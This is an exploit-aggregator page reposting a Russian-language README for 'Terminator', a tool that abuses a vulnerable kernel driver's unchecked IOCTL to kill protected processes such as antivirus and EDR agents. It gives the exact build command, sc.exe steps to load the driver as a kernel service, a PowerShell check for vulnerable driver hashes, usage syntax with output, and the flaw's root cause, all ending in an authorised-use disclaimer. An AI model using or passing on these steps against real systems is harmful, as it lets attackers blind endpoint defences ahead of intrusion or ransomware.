Sploitus

Exploit for Terminator Killer

kitploit · 2026-08-24

Exploit Code

MARKDOWN174 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HIKA-SEC-TERMINATOR_KILLER
# Terminator - убийца процессов Red Team

Инструмент завершения процессов в режиме ядра, использующий уязвимый драйвер (CVE-2026-0828) для остановки защищённых процессов из пользовательского режима.

## Компиляция

Требуется MinGW-w64 (GCC) в Windows. Скомпилируйте с помощью:

root@kitploit:~
    
    
    g++ --% .\terminator.cpp -o terminator.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W
    

Описание флагов:

Флаг| Назначение  
---|---  
`--%`| Токен PowerShell для остановки разбора (передаёт аргументы в g++ как есть)  
`-Oz`| Оптимизация для минимального размера  
`-ffunction-sections` / `-fdata-sections`| Размещает каждую функцию/данные в отдельной секции  
`-static` / `-static-libgcc` / `-static-libstdc++`| Статическая компоновка (без зависимостей от DLL времени выполнения)  
`-Wl,--gc-sections`| Компоновщик удаляет неиспользуемые секции  
`-W`| Включить предупреждения  
  
Результат: автономный `terminator.exe` (~20-30 КБ, без отладочных символов).

## Техническая суть

Этот проект демонстрирует эксплуатацию уязвимого драйвера ядра (`STProcessMonitorDriver`), который предоставляет невалидированный обработчик `IOCTL_KILL_PROCESS`, позволяющий завершать произвольные процессы независимо от привилегий или механизмов защиты (PPL, флаги EPROCESS и т. д.).

### Разбор архитектуры

Компонент| Назначение  
---|---  
`terminator.cpp`| Пользовательский клиент, который перечисляет процессы и отправляет IOCTL-запросы на завершение  
`terminator.hpp`| Интерфейс класса для перечисления и завершения процессов  
`ProcessMonitorDriver.sys`| Уязвимый драйвер ядра (внешний, не включён в комплект)  
  
### Анализ кода

**`Terminator::GetProcessPids()`**

  * Создаёт снимок через `CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS)`
  * Перебирает все процессы с помощью `Process32First`/`Process32Next`
  * Выполняет поиск без учёта регистра по целевым именам процессов
  * Возвращает вектор совпавших PID



**`Terminator::ProcessKill()`**

  * Открывает дескриптор `\\.\STProcessMonitorDriver`
  * Входит в бесконечный цикл мониторинга (интервал 500 мс)
  * Для каждого обнаруженного PID отправляет `IOCTL_KILL_PROCESS (0xB822200C)` с 8-байтным буфером PID
  * Нет вывода, когда процессы не найдены; журналирует только попытки завершения



## Руководство по использованию

### Предварительные требования

Загрузите уязвимый драйвер (требуются права администратора):

root@kitploit:~
    
    
    sc.exe create STProcessMonitor type=kernel binPath=C:\Path\To\Driver\ProcessMonitorDriver.sys
    sc.exe start STProcessMonitor
    

### Эксплуатация существующей службы

Если уязвимая версия `ProcessMonitorDriver.sys` уже установлена и работает как служба (например, от легитимного приложения), Terminator может подключиться напрямую без загрузки нового драйвера.

**Проверьте, существует ли служба и запущена ли она:**

root@kitploit:~
    
    
    sc.exe query STProcessMonitor
    

**Проверьте, уязвима ли версия драйвера (PowerShell):**

root@kitploit:~
    
    
    $driverPath = "C:\Windows\System32\drivers\ProcessMonitorDriver.sys"
    if (Test-Path $driverPath) {
        $hash = (Get-FileHash $driverPath -Algorithm SHA256).Hash.ToLower()
        $vulnerableHashes = @(
            "70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b",  # 11.11.4.0
            "85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786"   # 10.5.75.0
        )
        if ($vulnerableHashes -contains $hash) {
            Write-Host "[+] Vulnerable driver detected (SHA256: $hash)" -ForegroundColor Green
            Write-Host "[+] You can simply run Terminator." -ForegroundColor Green
        } else {
            Write-Host "[-] Driver found but not a known vulnerable version (SHA256: $hash)" -ForegroundColor Yellow
        }
    } else {
        Write-Host "[-] Driver not found at $driverPath" -ForegroundColor Red
    }
    

Если служба существует, находится в состоянии `RUNNING` и использует уязвимую версию, пропустите шаги загрузки драйвера и запустите Terminator напрямую.

### Затронутые версии (протестировано)

Версия| SHA-256  
---|---  
11.11.4.0| `70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b`  
10.5.75.0| `85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786`  
  
Другие версии также могут быть затронуты; перед использованием проверьте обработчик IOCTL драйвера.

### Запуск Terminator

root@kitploit:~
    
    
    terminator.exe -proc <process_name1> [process_name2] ...
    

Пример:

root@kitploit:~
    
    
    terminator.exe -proc notepad.exe calc.exe
    

### Вывод

root@kitploit:~
    
    
    [+] Connected to driver. Monitoring for processes...
    [*] Sending IOCTL 0xB822200C to terminate PID 4188...
    [+] Success! IOCTL sent for PID 4188.
    

## Анализ CVE-2026-0828

**Уязвимость** : драйвер `STProcessMonitorDriver` регистрирует обработчик IOCTL (`0xB822200C`), который:

  1. Принимает переданный пользователем 64-битный PID в качестве входного буфера
  2. Не выполняет **никакой проверки** значения PID
  3. Напрямую вызывает `PsLookupProcessByProcessId` → `ZwTerminateProcess`
  4. Выполняется в контексте ядра (токен `SYSTEM`), обходя все ACL пользовательского режима



**Воздействие** : любой пользователь без прав администратора, имеющий доступ к драйверу, может завершить:

  * Защищённые процессы (PPL)
  * Агенты антивирусов/EDR
  * Критические системные процессы (csrss, winlogon и т. д.)
  * Процессы, требующие наличия привилегии `SeDebugPrivilege`



**Корневая причина** : отсутствует проверка `ObReferenceObjectByHandle`, нет вызова `SeSinglePrivilegeCheck(SeDebugPrivilege)` и нет проверок доступа к объекту процесса.

## Отказ от ответственности

> **Этот инструмент предназначен только для санкционированных исследований безопасности и учений Red Team.**
> 
> Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, незаконно. Автор не несёт ответственности за неправомерное использование. Перед развёртыванием в любой среде убедитесь, что у вас есть письменное разрешение.
> 
> Уязвимый драйвер (`ProcessMonitorDriver.sys`) намеренно содержит дефекты для демонстрационных целей и **никогда** не должен разворачиваться в производственной среде.